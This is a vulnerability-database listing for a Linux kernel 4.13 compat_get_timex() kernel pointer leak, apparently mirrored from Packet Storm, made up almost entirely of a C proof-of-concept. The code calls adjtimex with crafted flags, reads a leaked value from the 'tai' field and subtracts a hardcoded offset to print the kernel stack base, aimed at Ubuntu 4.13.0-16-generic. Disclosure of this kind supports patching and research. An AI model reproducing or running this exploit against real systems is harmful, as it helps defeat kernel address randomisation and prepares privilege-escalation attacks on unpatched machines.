Lucene search

K
packetstormWally0813PACKETSTORM:151241
HistoryJan 20, 2019 - 12:00 a.m.

Linux Kernel 4.13 compat_get_timex() Kernel Pointer Leak

2019-01-2000:00:00
Wally0813
packetstormsecurity.com
50

EPSS

0.001

Percentile

18.2%

`#define _GNU_SOURCE  
#define _BSD_SOURCE  
#include <sys/timex.h>  
#include <stdio.h>  
#include <stdint.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/wait.h>  
#include <sys/ioctl.h>  
#include <sys/mman.h>  
#include <sys/ipc.h>  
#include <sys/sem.h>  
#include <sys/stat.h>  
#include <sys/mman.h>  
#include <sys/resource.h>  
#include <sys/syscall.h>  
#include <errno.h>  
#include <fcntl.h>  
#include <unistd.h>  
#include <kptr-lib.h>  
  
// Ubuntu 4.13.0-16-generic  
// gcc -o poc poc.c -m32  
  
struct timex time;  
  
int main(int argc, char **argv)  
{  
int r;  
unsigned long long stack_offset, kernel_base;  
unsigned int leak_value;  
unsigned int high = 0xffffffff;  
  
memset(&time, 0, sizeof(time));  
time.modes = 0x8000;  
  
mmap(0,0xa000,3,2022,-1,0);  
  
adjtimex(&time);   
leak_value = time.tai;  
printf("--> leak_value : %x\n", leak_value);  
  
memcpy(&kernel_base, &leak_value, 4);  
memcpy((char *)&kernel_base + 4, &high, 4);  
stack_offset = 0x1fc4a4;  
kernel_base = leak_value - stack_offset;  
printf("--> kernel_stack_base : %llx\n", kernel_base);  
  
return 0;  
}  
`